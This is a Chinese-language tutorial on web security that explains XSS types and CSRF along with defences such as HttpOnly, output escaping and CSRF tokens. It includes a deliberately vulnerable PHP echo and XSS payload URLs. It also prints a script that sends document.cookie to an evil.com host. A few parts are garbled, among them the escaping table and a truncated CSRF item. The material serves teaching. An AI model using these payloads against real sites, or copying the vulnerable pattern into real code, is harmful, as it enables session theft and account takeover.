Web安全之XSS攻击
XSS攻击
XSS攻击简介
跨站脚本攻击(XSS),英文全称 Cross Site Script, 是Web安全头号大敌。
XSS攻击,一般是指黑客通过在网页中注入恶意脚本,当用户浏览网页时,恶意脚本执行,控制用户浏览器行为的一种攻击方式。其中,XSS攻击通常分为反射型XSS、存储型XSS、DOM Based XSS三种。可以通过以下例子看看XSS攻击是如何产生的。
一个简单的例子
本地服务器的的/xssTest 目录下,有一个test.php文件,代码如下:
<?php
$userName=$_GET['userName']; //获取用户输入的参数
echo "<b>".$userName."</b>"; //直接输出用户的参数给前端页面
?>
正常情况下,用户提交的姓名可以正确显示在页面上,不会构成XSS攻击,比如,当用户访问以下URL:
http://localhost/xssTest/test.php?userName=jack
页面会显示:
可以看到,用户在URL中输入的参数正常显示在页面上。
然后,我们尝试在URL中插入JavaScript代码,如:
http://localhost/xssTest/test.php?userName=<script>window.open(http://www.baidu.com)</script>
则页面会显示:
可以看到,页面没有把userName后面的内容显示出来,而且打开了一个新的标签页,原因是在URL中带有一段打开另一标签页的恶意脚本。
这个例子虽然简短,但体现了最简单的XSS攻击的完整流程。
XSS攻击类型
根据攻击的方式,XSS攻击可以分为三类:反射型XSS、存储型XSS、DOM Based XSS。
__反射型XSS__也被称为非持久性XSS,这种攻击方式把XSS的Payload写在URL中,通过浏览器直接“反射”给用户。这种攻击方式通常需要诱使用户点击某个恶意链接,才能攻击成功。
__存储型XSS__又被称为持久性XSS,会把黑客输入的恶意脚本存储在服务器的数据库中。当其他用户浏览页面包含这个恶意脚本的页面,用户将会受到黑客的攻击。一个常见的场景就是黑客写下一篇包含恶意JavaScript脚本的博客文章,当其他用户浏览这篇文章时,恶意的JavaScript代码将会执行。
DOM Based XSS 是一种利用前端代码漏洞进行攻击的攻击方式。前面的反射型XSS与存储型XSS虽然恶意脚本的存放位置不同,但其本质都是利用后端代码的漏洞。
反射型和存储型xss是服务器端代码漏洞造成的,payload在响应页面中,DOM Based中,payload不在服务器发出的HTTP响应页面中,当客户端脚本运行时(渲染页面时),payload才会加载到脚本中执行。
XSS攻击的危害
我们把进行XSS攻击的恶意脚本成为XSS Payload。XSS Payload的本质是JavaScript脚本,所以JavaScript可以做什么,XSS攻击就可以做什么。
一个最常见的XSS Payload就是盗取用户的Cookie,从而发起Cookie劫持攻击。Cookie中,一般会保存当前用户的登录凭证,如果Cookie被黑客盗取,以为着黑客有可能通过Cookie直接登进用户的账户,进行恶意操作。
如下所示,攻击者先加载一个远程脚本:
http://localhost/xssTest/test.php?userName=<scriipt src=http://www.evil.com/evil.js></script>
而真正的XSS Payload,则写在远程脚本evil.js中。在evil.js中,可以通过下列代码窃取用户Cookie:
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
这段代码插入了一张看不见的图片,同时把document.cookie作为参数,发到远程服务器。黑客在拿到cookie后,只需要替换掉自身的cookie,就可以登入被盗取者的账户,进行恶意操作。
一个网站的应用只需要接受HTTP的POST请求和GET请求,就可以完成所有的操作,对于黑客而言,仅通过JavaScript就可以完成这些操作。
防御
其实如今一些流行的浏览器都内置了一些对抗XSS的措施,比如Firefox的CSP、IE 8内置的XSS Filter等。除此之外,还有以下防御手段
HttpOnly
HttpOnly最早是由微软提出,并在IE6中实现的,至今已逐渐成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly 属性的Cookie。以下浏览器开始支持HttpOnly:
- Microsoft IE 6 SP1+
- Mozilla FireFox 2.0.0.5+
- Mozilla Firefox 3.0.0.6+
- Google Chrome
- Apple Safari 4.0+
- Opera 9.5+
一个Cookie的使用过程如下:
Step1: 浏览器向服务器发送请求,这时候没有cookie。
Step2: 服务器返回同时,发送Set-Cookie头,向客户端浏览器写入Cookie。
Step3: 在该Cookie到期前,浏览器访问该域名下所有的页面,都将发送该Cookie。
而HttpOnly是在Set-Cookie时标记的。
输入检查
常见的Web漏洞,如XSS、SQL注入等,都要求攻击者构造一些特殊的字符串,而这些字符串是一般用户不会用到的,所以进行输入检查就很有必要了。
输入检查可以在用户输入的格式检查中进行。很多网站的用户名都要求是字母及数字的组合如“abc1234”,其实也能过滤一部分的XSS和SQL注入。但是,这种在客户端的限制很容易被绕过,攻击者可以用JavaScript或一些请求工具,直接构造请求,想网站注入XSS或者SQL。所以,除了在客户端进行格式检查,往往还需要在后端进行二次检查。客户端的检查主要作用是阻挡大部分误操作的正常用户,从而节约服务器资源。
对输出转义
在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。
为了对抗XSS,在HtmlEncode中至少转换以下字符:
< 转成 <
> 转成 >
& 转成 &
“ 转成 "
‘ 转成 '
CSRF攻击及防护
一、CSRF是什么
CSRF全称为跨站请求伪造(Cross-site request forgery),是一种网络攻击方式,也被称为 one-click attack 或者 session riding。
二、CSRF攻击原理
CSRF攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
三、CSRF攻击实例
角色:
- 正常浏览网页的用户:User
- 正规的但是具有漏洞的网站:WebA
- 利用CSRF进行攻击的网站:WebB
流程:
1.用户登录、浏览并信任正规网站WebA,同时,WebA通过用户的验证并在用户的浏览器中产生Cookie。
2.攻击者WebB通过在WebA中添加图片链接等方式诱导用户User访问网站WebB。
3.在用户User被诱导访问WebB后,WebB会利用用户User的浏览器访问第三方网站WebA,并发出操作请求。
4.用户User的浏览器根据WebB的要求,带着步骤一中产生的Cookie访问WebA。
5.网站WebA接收到用户浏览器的请求,WebA无法分辨请求由何处发出,由于浏览器访问时带上用户的Cookie,因此WebA会响应浏览器的请求,如此一来,攻击网站WebB就达到了模拟用户操作的目的。
四、CSRF攻击防护
上文简单的叙述了CSRF攻击的原理,接下来将要介绍几种CSRF攻击的防护方法。
-
只使用JSON API
使用JavaScript发起AJAX请求是限制跨域的,并不能通过简单的 -
验证HTTP Referer字段
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如上文中用户User想要在网站WebA中进行转账操作,那么用户User- 必须先登录WabA
- 然后再通过点击页面上的按钮出发转账事件
这时该转帐请求的 Referer 值就会是转账按钮所在的页面的URL,而如果黑客要对银行网站实施 CSRF攻击,他只能在他自己的网站构造请求,当用户User通过黑客的网站发送请求到WebA时,该请求的 Referer 是指向黑客自己的网站。
因此,要防御 CSRF 攻击,网站WebA只需要对于每一个转账请求验证其 Referer 值,如果是以网站WebA的网址开头的域名,则说明该请求是来自WebA自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。
- 在请求地址中添加takon验证
CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对。